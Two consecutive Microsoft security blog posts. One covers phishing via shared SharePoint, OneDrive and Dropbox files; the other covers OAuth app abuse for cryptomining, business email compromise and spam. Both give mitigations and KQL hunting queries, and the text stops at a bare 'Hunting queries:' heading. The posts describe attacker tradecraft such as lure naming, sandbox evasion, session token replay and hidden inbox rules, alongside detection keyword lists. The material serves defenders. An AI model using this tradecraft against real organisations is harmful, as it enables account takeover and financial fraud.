Legitimate hosting services, such as SharePoint, OneDrive, and Dropbox, are widely used by organizations for storing, sharing, and collaborating on files. However, the widespread use of such services also makes them attractive targets for threat actors, who exploit the trust and familiarity associated with these services to deliver malicious files and links, often avoiding detection by traditional security measures.

Importantly, Microsoft takes action against malicious users violating the Microsoft Services Agreement in how they use apps like SharePoint and OneDrive. To help protect enterprise accounts from compromise, by default both Microsoft 365 and Office 365 support multi-factor authentication (MFA) and passwordless sign-in. Consumers can also go passwordless with their Microsoft account. Because security is a team sport, Microsoft also works with third parties like Dropbox to share threat intelligence and protect mutual customers and the wider community.

In this blog, we discuss the typical attack chain used in campaigns misusing file hosting services and detail the recently observed tactics, techniques, and procedures (TTPs), including the increasing use of certain defense evasion tactics. To help defenders protect their identities and data, we also share mitigation guidance to help reduce the impact of this threat, and detection details and hunting queries to locate potential misuse of file hosting services and related threat actor activities. By understanding these evolving threats and implementing the recommended mitigations, organizations can better protect themselves against these sophisticated campaigns and safeguard digital assets.

Attack overview

Phishing campaigns exploiting legitimate file hosting services have been trending throughout the last few years, especially due to the relative ease of the technique. The files are delivered through different approaches, including email and email attachments like PDFs, OneNote, and Word files, with the intent of compromising identities or devices. These campaigns are different from traditional phishing attacks because of the sophisticated defense evasion techniques used.

Since mid-April 2024, we observed threat actors increasingly use these tactics aimed at circumventing defense mechanisms:

• Files with restricted access: The files sent through the phishing emails are configured to be accessible solely to the designated recipient. This requires the recipient to be signed in to the file-sharing service—be it Dropbox, OneDrive, or SharePoint—or to re-authenticate by entering their email address along with a one-time password (OTP) received through a notification service.
• Files with view-only restrictions: To bypass analysis by email detonation systems, the files shared in these phishing attacks are set to ‘view-only’ mode, disabling the ability to download and consequently, the detection of embedded URLs within the file.

An example attack chain is provided below, depicting the updated defense evasion techniques being used across stages 4, 5, and 6:

Initial access

The attack typically begins with the compromise of a user within a trusted vendor. After compromising the trusted vendor, the threat actor hosts a file on the vendor’s file hosting service, which is then shared with a target organization. This misuse of legitimate file hosting services is particularly effective because recipients are more likely to trust emails from known vendors, allowing threat actors to bypass security measures and compromise identities. Often, users from trusted vendors are added to allow lists through policies set by the organization on Exchange Online products, enabling phishing emails to be successfully delivered.

While file names observed in these campaigns also included the recipients, the hosted files typically follow these patterns:

• Familiar topics based on existing conversations
  • For example, if the two organizations have prior interactions related to an audit, the shared files could be named “Audit Report 2024”.
• Familiar topics based on current context
  • If the attack has not originated from a trusted vendor, the threat actor often impersonates administrators or help desk or IT support personnel in the sender display name and uses a file name such as “IT Filing Support 2024”, “Forms related to Tax submission”, or “Troubleshooting guidelines”.
• Topics based on urgency
  • Another common technique observed by the threat actors creating these files is that they create a sense of urgency with the file names like “Urgent:Attention Required” and “Compromised Password Reset”.

Defense evasion techniques

Once the threat actor shares the files on the file hosting service with the intended users, the file hosting service sends the target user an automated email notification with a link to access the file securely. This email is not a phishing email but a notification for the user about the sharing action. In scenarios involving SharePoint or OneDrive, the file is shared from the user’s context, with the compromised user’s email address as the sender. However, in the Dropbox scenario, the file is shared from no-reply@dropbox[.]com. The files are shared through automated notification emails with the subject: “<User> shared <document> with you”. To evade detections, the threat actor deploys the following additional techniques:

• Only the intended recipient can access the file
  • The intended recipient needs to re-authenticate before accessing the file
  • The file is accessible only for a limited time window
• The PDF shared in the file cannot be downloaded

These techniques make detonation and analysis of the sample with the malicious link almost impossible since they are restricted.

Identity compromise

When the targeted user accesses the shared file, the user is prompted to verify their identity by providing their email address:

Next, an OTP is sent from no-reply@notify.microsoft[.]com. Once the OTP is submitted, the user is successfully authorized and can view a document, often masquerading as a preview, with a malicious link, which is another lure to make the targeted user click the “View my message” access link.

This link redirects the user to an adversary-in-the-middle (AiTM) phishing page, where the user is prompted to provide the password and complete multifactor authentication (MFA). The compromised token can then be leveraged by the threat actor to perform the second stage BEC attack and continue the campaign.

Recommended actions

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Enable Conditional Access policies in Microsoft Entra, especially risk-based access policies. Conditional access policies evaluate sign-in requests using additional identity-driven signals like user or group membership, IP address location information, and device status, among others, are enforced for suspicious sign-ins. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as compliant devices, Azure trusted IP address requirements, or risk-based policies with proper access control. If you are still evaluating Conditional Access, use security defaults as an initial baseline set of policies to improve identity security posture.
• Implement continuous access evaluation.
• Implement Microsoft Entra passwordless sign-in with FIDO2 security keys.
• Turn on network protection in Microsoft Defender for Endpoint to block connections to malicious domains and IP addresses.
• Implement Microsoft Defender for Endpoint – Mobile Threat Defense on mobile devices used to access enterprise assets.
• Leverage Microsoft Edge to automatically identify and block malicious websites, including those used in this phishing campaign, and Microsoft Defender for Office 365 to detect and block malicious emails, links, and files. Monitor suspicious or anomalous activities in Microsoft Entra ID Protection. Investigate sign-in attempts with suspicious characteristics (such as the location, ISP, user agent, and use of anonymizer services). Educate users about the risks of secure file sharing and emails from trusted vendors.

Appendix

Microsoft Defender XDR detections

Microsoft Defender XDR raises the following alerts by combining Microsoft Defender for Office 365 URL click and Microsoft Entra ID Protection risky sign-ins signal.

• Risky sign-in after clicking a possible AiTM phishing URL
• User compromised through session cookie hijack
• User compromised in a known AiTM phishing kit

Hunting queries

Microsoft Defender XDR 

The file sharing events related to the activity in this blog post can be audited through the CloudAppEvents telemetry. Microsoft Defender XDR customers can run the following query to find related activity in their networks: 

Automated email notifications and suspicious sign-in activity

By correlating the email from the Microsoft notification service or Dropbox automated notification service with a suspicious sign-in activity, we can identify compromises, especially from securely shared SharePoint or Dropbox files.

let usersWithSuspiciousEmails = EmailEvents
    | where SenderFromAddress in ("no-reply@notify.microsoft.com", "no-reply@dropbox.com") or InternetMessageId startswith "<OneTimePasscode"
    | where isnotempty(RecipientObjectId)
    | distinct RecipientObjectId;
AADSignInEventsBeta
| where AccountObjectId in (usersWithSuspiciousEmails)
| where RiskLevelDuringSignIn == 100

Files share contents and suspicious sign-in activity

In the majority of the campaigns, the file name involves a sense of urgency or content related to finance or credential updates. By correlating the file share emails with suspicious sign-ins, compromises can be detected. (For example: Alex shared “Password Reset Mandatory.pdf” with you). Since these are observed as campaigns, validating that the same file has been shared with multiple users in the organization can support the detection.

let usersWithSuspiciousEmails = EmailEvents
    | where Subject has_all ("shared", "with you")
    | where Subject has_any ("payment", "invoice", "urgent", "mandatory", "Payoff", "Wire", "Confirmation", "password")
    | where isnotempty(RecipientObjectId)
    | summarize RecipientCount = dcount(RecipientObjectId), RecipientList = make_set(RecipientObjectId) by Subject
    | where RecipientCount >= 10
    | mv-expand RecipientList to typeof(string)
    | distinct RecipientList;
AADSignInEventsBeta
| where AccountObjectId in (usersWithSuspiciousEmails)
| where RiskLevelDuringSignIn == 100

BEC: File sharing tactics based on the file hosting service used

To initiate the file sharing activity, these campaigns commonly use certain action types depending on the file hosting service being leveraged. Below are the action types from the audit logs recorded for the file sharing events. These action types can be used to hunt for activities related to these campaigns by replacing the action type for its respective application in the queries below this table.

OneDrive or SharePoint: The following query highlights that a specific file has been shared by a user with multiple participants. Correlating this activity with suspicious sign-in attempts preceding this can help identify lateral movements and BEC attacks.

let securelinkCreated = CloudAppEvents
    | where ActionType == "SecureLinkCreated"
    | project FileCreatedTime = Timestamp, AccountObjectId, ObjectName;
let filesCreated = securelinkCreated
    | where isnotempty(ObjectName)
    | distinct tostring(ObjectName);
CloudAppEvents
| where ActionType == "AddedToSecureLink"
| where Application in ("Microsoft SharePoint Online", "Microsoft OneDrive for Business")
| extend FileShared = tostring(RawEventData.ObjectId)
| where FileShared in (filesCreated)
| extend UserSharedWith = tostring(RawEventData.TargetUserOrGroupName)
| extend TypeofUserSharedWith = RawEventData.TargetUserOrGroupType
| where TypeofUserSharedWith == "Guest"
| where isnotempty(FileShared) and isnotempty(UserSharedWith)
| join kind=inner securelinkCreated on $left.FileShared==$right.ObjectName
// Secure file created recently (in the last 1day)
| where (Timestamp - FileCreatedTime) between (1d .. 0h)
| summarize NumofUsersSharedWith = dcount(UserSharedWith) by FileShared
| where NumofUsersSharedWith >= 20

Dropbox: The following query highlights that a file hosted on Dropbox has been shared with multiple participants.

CloudAppEvents
| where ActionType in ("Added users and/or groups to shared file/folder", "Invited user to Dropbox and added them to shared file/folder")
| where Application == "Dropbox"
| where ObjectType == "File"
| extend FileShared = tostring(ObjectName)
| where isnotempty(FileShared)
| mv-expand ActivityObjects
| where ActivityObjects.Type == "Account" and ActivityObjects.Role == "To"
| extend SharedBy = AccountId
| extend UserSharedWith = tostring(ActivityObjects.Name)
| summarize dcount(UserSharedWith) by FileShared, AccountObjectId
| where dcount_UserSharedWith >= 20

Microsoft Sentinel

Microsoft Sentinel customers can use the resources below to find related activities similar to those described in this post:

The following query identifies files with specific keywords that attackers might use in this campaign that have been shared through OneDrive or SharePoint using a Secure Link and accessed by over 10 unique users. It captures crucial details like target users, client IP addresses, timestamps, and file URLs to aid in detecting potential attacks:

let OperationName = dynamic(['SecureLinkCreated', 'AddedToSecureLink']);
OfficeActivity
| where Operation in (OperationName)
| where OfficeWorkload in ('OneDrive', 'SharePoint')
| where SourceFileName has_any ("payment", "invoice", "urgent", "mandatory", "Payoff", "Wire", "Confirmation", "password", "paycheck", "bank statement", "bank details", "closing", "funds", "bank account", "account details", "remittance", "deposit", "Reset")
| summarize CountOfShares = dcount(TargetUserOrGroupName), 
            make_list(TargetUserOrGroupName), 
            make_list(ClientIP), 
            make_list(TimeGenerated), 
            make_list(SourceRelativeUrl) by SourceFileName, OfficeWorkload
| where CountOfShares > 10

Considering that the attacker compromises users through AiTM,  possible AiTM phishing attempts can be detected through the below rule:

• Possible AiTM Phishing Attempt

In addition, customers can also use the following identity-focused queries to detect and investigate anomalous sign-in events that may be indicative of a compromised user identity being accessed by a threat actor:

• Signins From VPS Providers
• Signins from Nord VPN Providers
• Successful Signin From Non-Compliant Device

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post File hosting services misused for identity phishing appeared first on Microsoft Security Blog.

In attacks observed by Microsoft Threat Intelligence, threat actors launched phishing or password spraying attacks to compromise user accounts that did not have strong authentication mechanisms and had permissions to create or modify OAuth applications. The threat actors misused the OAuth applications with high privilege permissions to deploy virtual machines (VMs) for cryptocurrency mining, establish persistence following business email compromise (BEC), and launch spamming activity using the targeted organization’s resources and domain name.

Microsoft continuously tracks attacks that misuse of OAuth applications for a wide range of malicious activity. This visibility enhances the detection of malicious OAuth applications via Microsoft Defender for Cloud Apps and prevents compromised user accounts from accessing resources via Microsoft Defender XDR and Microsoft Entra Identity Protection. In this blog post, we present cases where threat actors compromised user accounts and misused OAuth applications for their financially driven attacks, outline recommendations for organizations to mitigate such attacks, and provide detailed information on how Microsoft detects related activity:

• OAuth applications to deploy VMs for cryptomining
• OAuth applications for BEC and phishing
• OAuth applications for spamming activity
• Mitigation steps
• Detections for related techniques
• Hunting guidance

OAuth applications to deploy VMs for cryptomining

Microsoft observed the threat actor tracked as Storm-1283 using a compromised user account to create an OAuth application and deploy VMs for cryptomining. The compromised account allowed Storm-1283 to sign in via virtual private network (VPN), create a new single-tenant OAuth application in Microsoft Entra ID named similarly as the Microsoft Entra ID tenant domain name, and add a set of secrets to the application. As the compromised account had an ownership role on an Azure subscription, the actor also granted ‘Contributor’ role permission for the application to one of the active subscriptions using the compromised account.

The actor also leveraged existing line-of-business (LOB) OAuth applications that the compromised user account had access to in the tenant by adding an additional set of credentials to those applications. The actor initially deployed a small set of VMs in the same compromised subscriptions using one of the existing applications and initiated the cryptomining activity. The actor then later returned to deploy more VMs using the new application. Targeted organizations incurred compute fees ranging from 10,000 to 1.5 million USD from the attacks, depending on the actor’s activity and duration of the attack.

Storm-1283 looked to maintain the setup as long as possible to increase the chance of successful cryptomining activity. We assess that, for this reason, the actor used the naming convention [DOMAINNAME]_[ZONENAME]_[1-9] (the tenant name followed by the region name) for the VMs to avoid suspicion.  

One of the ways to recognize the behavior of this actor is to monitor VM creation in Azure Resource Manager audit logs and look for the activity “Microsoft.Compute/virtualMachines/write” performed by an OAuth application. While the naming convention used by the actor may change in time, it may still include the domain name or region names like “east|west|south|north|central|japan|france|australia|canada|korea|uk|poland|brazil”

Microsoft Threat Intelligence analysts were able to detect the threat actor’s actions and worked with the Microsoft Entra team to block the OAuth applications that were part of this attack. Affected organizations were also informed of the activity and recommended further actions.

OAuth applications for BEC and phishing

In another attack observed by Microsoft, a threat actor compromised user accounts and created OAuth applications to maintain persistence and to launch email phishing activity. The threat actor used an adversary-in-the-middle (AiTM) phishing kit to send a significant number of emails with varying subject lines and URLs to target user accounts in multiple organizations. In AiTM attacks, threat actors attempt to steal session tokens from their targets by sending phishing emails with a malicious URL that leads to a proxy server that facilitates a genuine authentication process.

We observed the following email subjects used in the phishing emails:

• <Username> shared “<Username> contracts” with you.
• <Username> shared “<User domain>” with you.
• OneDrive: You have received a new document today
• <Username> Mailbox password expiry
• Mailbox password expiry
• <Username> You have Encrypted message
• Encrypted message received

After the targets clicked the malicious URL in the email, they were redirected to the Microsoft sign-in page that was proxied by the threat actor’s proxy server. The proxy server set up by the threat actor allowed them to steal the token from the user’s session cookie. Later, the stolen token was leveraged to perform session cookie replay activity. Microsoft was able to confirm during further investigation that the compromised user account was flagged for risky sign-ins when the account was used to sign in from an unfamiliar location and from an uncommon user agent.

For persistence following business email compromise

In some cases, following the stolen session cookie replay activity, the actor leveraged the compromised user account to perform BEC financial fraud reconnaissance by opening email attachments in Microsoft Outlook Web Application (OWA) that contain specific keywords such as “payment” and “invoice”. This action typically precedes financial fraud attacks where the threat actor seeks out financial conversations and attempts to socially engineer one party to modify payment information to an account under attacker control.

Later, to maintain persistence and carry out malicious actions, the threat actor created an OAuth application using the compromised user account. The actor then operated under the compromised user account session to add new credentials to the OAuth application.  

For email phishing activity

In other cases, instead of performing BEC reconnaissance, the threat actor created multitenant OAuth applications following the stolen session cookie replay activity. The threat actor used the OAuth applications to maintain persistence, add new credentials, and then access Microsoft Graph API resource to read emails or send phishing emails.

At the time of analysis, we observed that threat actor created around 17,000 multitenant OAuth applications across different tenants using multiple compromised user accounts. The created applications mostly had two different sets of application metadata properties, such as display name and scope:

• Malicious multitenant OAuth applications with the display name set as “oauth” were granted permissions “user.read; mail.readwrite; email; profile; openid; mail.read; people.read” and access to Microsoft Graph API and read emails.
• Malicious multitenant OAuth applications with the display name set as “App” were granted permissions “user.read; mail.readwrite; email; profile; openid; mail.send” and access to Microsoft Graph API to send high volumes of phishing emails to both intra-organizational and external organizations.

In addition, we observed that the threat actor, before using the OAuth applications to send phishing emails, leveraged the compromised user accounts to create inbox rules with suspicious rule names like “…” to move emails to the junk folder and mark them as read. This is to evade detection by the compromised user that the account was used to send phishing emails.

Based on the email telemetry, we observed that the malicious OAuth applications created by the threat actor sent more than 927,000 phishing emails. Microsoft has taken down all the malicious OAuth applications found related to this campaign, which ran from July to November 2023.

OAuth applications for spamming activity

Microsoft also observed large-scale spamming activity through OAuth applications by a threat actor tracked as Storm-1286. The actor launched password spraying attacks to compromise user accounts, the majority of which did not have multifactor authentication (MFA) enabled. We also observed the user agent BAV2ROPC in the sign-in activities related to the compromised accounts, which indicated the use of legacy authentication protocols such as IMAP and SMTP that do not support MFA.

We observed the actor using the compromised user accounts to create anywhere from one to three new OAuth applications in the targeted organization using Azure PowerShell or a Swagger Codegen-based client. The threat actor then granted consent to the applications using the compromised accounts. These applications were set with permissions like email, profile, openid, Mail.Send, User.Read and Mail.Read, which allowed the actor to control the mailbox and send thousands of emails a day using the compromised user account and the organization domain. In some cases, the actor waited for months after the initial access and setting up of OAuth applications before starting the spam activity using the applications. The actor also used legitimate domains to avoid phishing and spamming detectors.

In previous large-scale spam activities, we observed threat actors attempting to compromise admin accounts without MFA and create new LOB applications with high administrative permissions to abuse Microsoft Exchange Online and spread spam. While the activity of the actor then was limited due to actions taken by Microsoft Threat Intelligence such as blocking clusters of the OAuth applications in the past, Storm-1286 continues to try new ways to set a similar high-scale spamming platform in victim organizations by using non-privileged users.

Mitigation steps

Microsoft recommends the following mitigations to reduce the impact of these types of threats.

Mitigate credential guessing attacks risks

A key step in reducing the attack surface is securing the identity infrastructure. The most common initial access vector observed in this attack was account compromise through credential stuffing, phishing, and reverse proxy (AiTM) phishing. In most cases the compromised accounts did not have MFA enabled. Implementing security practices that strengthen account credentials such as enabling MFA reduced the chance of attack dramatically.

Enable conditional access policies

Conditional access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies for User and Sign-in Risk, device compliance and trusted IP address requirements. If your organization has a Microsoft-Managed Conditional Access policy, make sure it is enforced.

Ensure continuous access evaluation is enabled

Continuous access evaluation (CAE) revokes access in real time when changes in user conditions trigger risks, such as when a user is terminated or moves to an untrusted location.

Enable security defaults

While some of the features mentioned above require paid subscriptions, the security defaults in Azure AD, which is mainly for organizations using the free tier of Azure Active Directory licensing, are sufficient to better protect the organizational identity platform, as they provide preconfigured security settings such as MFA, protection for privileged activities, and others.

Enable Microsoft Defender automatic attack disruption

Microsoft Defender automatic attack disruption capabilities minimize lateral movement and curbs the overall impact of an attack in its initial stages.

Audit apps and consented permissions

Audit apps and consented permissions in your organization ensure applications are only accessing necessary data and adhering to the principles of least privilege. Use Microsoft Defender for Cloud Apps and its app governance add-on for expanded visibility into cloud activity in your organization and control over applications that access your Microsoft 365 data. 

Educate your organization on application permissions and data accessible by applications with respective permissions to identify malicious apps. 

Enhance suspicious OAuth application investigation with the recommended approach to investigate and remediate risky OAuth apps.

Enable “Review admin consent requests” for forcing new applications review in the tenant.

In addition to the recommendations above, Microsoft has published incident response playbooks for App consent grant investigation and compromised and malicious applications investigation that defenders can use to respond quickly to related threats.

Secure Azure Cloud resources

Deploy MFA to all users, especially for tenant administrators and accounts with Azure VM Contributor privileges. Limit unused quota and monitor for unusual quota increases in your Azure subscriptions, with an emphasis on the resource’s originating creation or modification. Monitor for unexpected sign-in activity from IP addresses associated with free VPN services on high privilege accounts. Connect Microsoft Defender for Cloud Apps connector to ARM or use Microsoft Defender for ARM

With the rise of hybrid work, employees might use their personal or unmanaged devices to access corporate resources, leading to an increased possibility of token theft. To mitigate this risk, organizations can enhance their security measures by obtaining complete visibility into their users’ authentication methods and locations. Refer to the comprehensive blog post Token tactics: How to prevent, detect, and respond to cloud token theft. 

Check your Office 365 email filtering settings to ensure you block spoofed emails, spam, and emails with malware. Use for enhanced phishing protection and coverage against new threats and polymorphic variants. Configure Defender for Office 365 to recheck links upon time of click and delete sent mail in response to newly acquired threat intelligence. Turn on Safe Attachments policies to check attachments in inbound emails. 

Detections for related techniques

Leveraging its cross-signal capabilities, Microsoft Defender XDR alerts customers using Microsoft Defender for Office 365, Microsoft Defender for Cloud Apps, Application governance add-on, Microsoft Defender for Cloud, and Microsoft Entra ID Protection to detect the techniques covered in the attack through the attack chain. Each product can provide a different aspect for protection to cover the techniques observed in this attack:

Microsoft Defender XDR

Microsoft Defender XDR detects threat components associated with the following activities:

• User compromised in AiTM phishing attack
• User compromised via a known AiTM phishing kit
• BEC financial fraud-related reconnaissance
• BEC financial fraud

Microsoft Defender for Cloud Apps

Using Microsoft Defender for Cloud Apps connectors for Microsoft 365 and Azure, Microsoft Defender XDR raises the following alerts:

• Stolen session cookie was used
• Activity from anonymous IP address
• Activity from a password-spray associated IP address
• User added or updated a suspicious OAuth app
• Risky user created or updated an app that was observed creating a bulk of Azure virtual machines in a short interval
• Risky user updated an app that accessed email and performed email activity through Graph API
• Suspicious creation of OAuth app by compromised user
• Suspicious secret addition to OAuth app followed by creation of Azure virtual machines
• Suspicious OAuth app creation
• Suspicious OAuth app email activity through Graph API
• Suspicious OAuth app-related activity by compromised user
• Suspicious user signed into a newly created OAuth app
• Suspicious addition of OAuth app permissions
• Suspicious inbox manipulation rule
• Impossible travel activity
• Multiple failed login attempts

App governance

App governance is an add-on to Microsoft Defender for Cloud Apps, which can detect malicious OAuth applications that make sensitive Exchange Online administrative activities along with other threat detection alerts. Activity related to this campaign triggers the following alerts:

• Entra Line-of-Business app initiating an anomalous spike in virtual machine creation
• OAuth app with high scope privileges in Microsoft Graph was observed initiating virtual machine creation
• Suspicious OAuth app used to send numerous emails

To receive this alert, turn on app governance for Microsoft Defender for Cloud Apps.

Microsoft Defender for Office 365

Microsoft Defender for Office 365 detects threat activity associated with this spamming campaign through the following email security alerts. Note, however, that these alerts may also be triggered by unrelated threat activity. We’re listing them here because we recommend that these alerts be investigated and remediated immediately.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• User restricted from sending email
• Email sending limit exceeded

Microsoft Defender for Cloud

Microsoft Defender for Cloud detects threat components associated with the activities outlined in this article with the following alerts:

• Azure Resource Manager operation from suspicious proxy IP address
• Crypto-mining activity
• Digital currency mining activity
• Suspicious Azure role assignment detected
• Suspicious creation of compute resources detected
• Suspicious invocation of a high-risk ‘Execution’ operation by a service principal detected
• Suspicious invocation of a high-risk ‘Execution’ operation detected
• Suspicious invocation of a high-risk ‘Impact’ operation by a service principal detected

Microsoft Entra Identity Protection

Microsoft Entra Identity Protection detects the threats described with the following alerts:

• Anomalous Token
• Unfamiliar sign-in properties
• Anonymous IP address
• Verified threat actor IP
• Atypical travel

Hunting guidance

Microsoft 365 Defender

Microsoft 365 Defender customers can run the following query to find related activity in their networks:

OAuth application interacting with Azure workloads

let OAuthAppId = <OAuth app ID in question>;
CloudAppEvents
| where Timestamp >ago (7d)  
| where AccountId == OAuthAppId 
| where AccountType== "Application"
| extend Azure_Workloads = RawEventData["operationName"]
| distinct Azure_Workloads by AccountId

Password spray attempts

This query identifies failed sign-in attempts to Microsoft Exchange Online from multiple IP addresses and locations.

IdentityLogonEvents
| where Timestamp > ago(3d)
| where ActionType == "LogonFailed" and LogonType == "OAuth2:Token" and Application == "Microsoft Exchange Online"
| summarize count(), dcount(IPAddress), dcount(CountryCode) by AccountObjectId, AccountDisplayName, bin(Timestamp, 1h)

Suspicious application creation

This query finds new applications added in your tenant.

CloudAppEvents
| where ActionType in ("Add application.", "Add service principal.")
| mvexpand modifiedProperties = RawEventData.ModifiedProperties
| where modifiedProperties.Name == "AppAddress"
| extend AppAddress = tolower(extract('\"Address\": \"(.*)\",',1,tostring(modifiedProperties.NewValue)))
| mvexpand ExtendedProperties = RawEventData.ExtendedProperties
| where ExtendedProperties.Name == "additionalDetails"
| extend OAuthApplicationId = tolower(extract('\"AppId\":\"(.*)\"',1,tostring(ExtendedProperties.Value)))
| project Timestamp, ReportId, AccountObjectId, Application, ApplicationId, OAuthApplicationId, AppAddress

Suspicious email events

NOTE: These queries need to be updated with timestamps related to application creation time before running.

//Identify High Outbound Email Sender
EmailEvents 
| where Timestamp between (<start> .. <end>) //Timestamp from the app creation time to few hours upto 24 hours or more 
| where EmailDirection in ("Outbound") 
| project
    RecipientEmailAddress,
    SenderFromAddress,
    SenderMailFromAddress,
    SenderObjectId,
    NetworkMessageId 
| summarize
    RecipientCount = dcount(RecipientEmailAddress),
    UniqueEmailSentCount = dcount(NetworkMessageId)
    by SenderFromAddress, SenderMailFromAddress, SenderObjectId
| sort by UniqueEmailSentCount desc 
//| where UniqueEmailSentCount > <threshold> //Optional, return only if the sender sent more than the threshold
//| take 100 //Optional, return only top 100
 
//Identify Suspicious Outbound Email Sender
EmailEvents 
//| where Timestamp between (<start> .. <end>) //Timestamp from the app creation time to few hours upto 24 hours or more 
| where EmailDirection in ("Outbound") 
| project
    RecipientEmailAddress,
    SenderFromAddress,
    SenderMailFromAddress,
    SenderObjectId, 
    DetectionMethods,
    NetworkMessageId 
| summarize
    RecipientCount = dcount(RecipientEmailAddress),
    UniqueEmailSentCount = dcount(NetworkMessageId),
    SuspiciousEmailCount = dcountif(NetworkMessageId,isnotempty(DetectionMethods))
    by SenderFromAddress, SenderMailFromAddress, SenderObjectId
| extend SuspiciousEmailPercentage = SuspiciousEmailCount/UniqueEmailSentCount * 100 //Calculate the percentage of suspicious email compared to all email sent
| sort by SuspiciousEmailPercentage desc 
//| where UniqueEmailSentCount > <threshold> //Optional, return only if the sender suspicious email percentage is more than the threshold
//| take 100 //Optional, return only top 100

//Identify Recent Emails Sent by Restricted Email Sender
AlertEvidence
| where Title has "User restricted from sending email"
| project AccountObjectId //Identify the user who are restricted to send email
| join EmailEvents on $left.AccountObjectId == $right.SenderObjectId //Join information from Alert Evidence and Email Events
| project
    Timestamp,
    RecipientEmailAddress,
    SenderFromAddress,
    SenderMailFromAddress,
    SenderObjectId,
    SenderIPv4,
    Subject,
    UrlCount,
    AttachmentCount,
    DetectionMethods,
    AuthenticationDetails, 
    NetworkMessageId
| sort by Timestamp desc 
//| take 100 //Optional, return only first 100

BEC recon and OAuth application activity

//High and Medium risk SignIn activity
AADSignInEventsBeta
| where Timestamp >ago (7d)
| where ErrorCode==0
| where RiskLevelDuringSignIn >= 50
| project
    AccountUpn,
    AccountObjectId,
    SessionId,
    RiskLevelDuringSignIn,
    ApplicationId,
    Application

//Oauth Application creation or modification by user who has suspicious sign in activities
AADSignInEventsBeta
| where Timestamp >ago (7d)
| where ErrorCode == 0
| where RiskLevelDuringSignIn >= 50
| project SignInTime=AccountUpn, AccountObjectId, SessionId, RiskLevelDuringSignIn, ApplicationId, Application
| join kind=leftouter (CloudAppEvents | where Timestamp > ago(7d)
| where ActionType in ("Add application.", "Update application.", "Update application – Certificates and secrets management ")
| extend appId = tostring(parse_json(RawEventData.Target[4].ID))
| project
    Timestamp,
    ActionType,
    Application,
    ApplicationId,
    UserAgent,
    ISP,
    AccountObjectId,
    AppName=ObjectName,
    OauthApplicationId=appId,
    RawEventData ) on AccountObjectId
| where isnotempty(ActionType)

 
//Suspicious BEC reconnaisance activity 
let bec_keywords = pack_array("payment", "receipt", "invoice", "inventory"); 
let reconEvents = 
    CloudAppEvents
    | where Timestamp >ago (7d)
    | where ActionType in ("MailItemsAccessed", "Update")
    | where AccountObjectId in ("<Impacted AccountObjectId>")
    | extend SessionId = tostring(parse_json(RawEventData.SessionId))
    | project
        Timestamp,
        ActionType,
        AccountObjectId,
        UserAgent,
        ISP,
        IPAddress,
        SessionId,
        RawEventData;
reconEvents;
let updateActions = reconEvents
    | where ActionType == "Update" 
    | extend Subject=tostring(RawEventData["Item"].Subject)
    | where isnotempty(Subject)
    | where Subject has_any (bec_keywords)
    | summarize UpdateCount=count() by bin (Timestamp, 15m), Subject, AccountObjectId, SessionId, IPAddress;
updateActions;
let mailItemsAccessedActions = reconEvents 
    | where ActionType == "MailItemsAccessed" 
    | extend OperationCount = toint(RawEventData["OperationCount"])
    | summarize TotalCount = sum(OperationCount) by bin (Timestamp, 15m), AccountObjectId, SessionId, IPAddress;
mailItemsAccessedActions;
 
//SignIn to newly created app within Risky Session
AADSignInEventsBeta
| where Timestamp >ago (7d) 
| where AccountObjectId in ("<Impacted AccountObjectId>") and 
SessionId in ("<Risky Session Id>")
| where ApplicationId in ("<Oauth appId>") // Recently added or modified App Id
| project
    AccountUpn,
    AccountObjectId,
    ApplicationId,
    Application,
    SessionId,
    RiskLevelDuringSignIn,
    RiskLevelAggregated,
    Country

// To check suspicious Mailbox rules
CloudAppEvents
| where Timestamp between (start .. end) //Timestamp from the app creation time to few hours, usually before spam emails sent
| where AccountObjectId in ("<Impacted AccountObjectId>")
| where Application == "Microsoft Exchange Online"
| where ActionType in ("New-InboxRule", "Set-InboxRule", "Set-Mailbox", "Set-TransportRule", "New-TransportRule", "Enable-InboxRule", "UpdateInboxRules")
| where isnotempty(IPAddress)
| mvexpand ActivityObjects
| extend name = parse_json(ActivityObjects).Name
| extend value = parse_json(ActivityObjects).Value
| where name == "Name"
| extend RuleName = value 
| project Timestamp, ReportId, ActionType, AccountObjectId, IPAddress, ISP, RuleName

// To check any suspicious Url clicks from emails before risky signin by the user
UrlClickEvents
| where Timestamp between (start .. end) //Timestamp around time proximity of Risky signin by user
| where AccountUpn has "<Impacted User’s UPN or Email address>" and ActionType has "ClickAllowed"
| project Timestamp,Url,NetworkMessageId

// To fetch the suspicious email details
EmailEvents
| where Timestamp between (start .. end) //Timestamp lookback to be increased gradually to find the email received
| where EmailDirection has "Inbound"
| where RecipientEmailAddress has "<Impacted User’s UPN or Email address>" and NetworkMessageId == "<NetworkMessageId from UrlClickEvents>"
| project SenderFromAddress,SenderMailFromAddress,SenderIPv4,SenderFromDomain, Subject,UrlCount,AttachmentCount
    
    
// To check if suspicious emails sent for spamming (with similar email subjects, urls etc.)
EmailEvents
| where Timestamp between (start .. end) //Timestamp from the app creation time to few hours upto 24 hours or more
| where EmailDirection in ("Outbound","Intra-org")
| where SenderFromAddress has "<Impacted User’s UPN or Email address>"  or SenderMailFromAddress has "<Impacted User’s UPN or Email address>"
| project RecipientEmailAddress,RecipientObjectId,SenderIPv4,SenderFromDomain, Subject,UrlCount,AttachmentCount,NetworkMessageId

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Analytic rules:

• Phishing Link Execution Observed
• Possible AiTM Phishing Attempt Against AAD
• Successful Signins from a Phishing Link
• Signin Password Spray
• Malicious Inbox Rule
• BEC Mailbox Rule

Hunting queries:
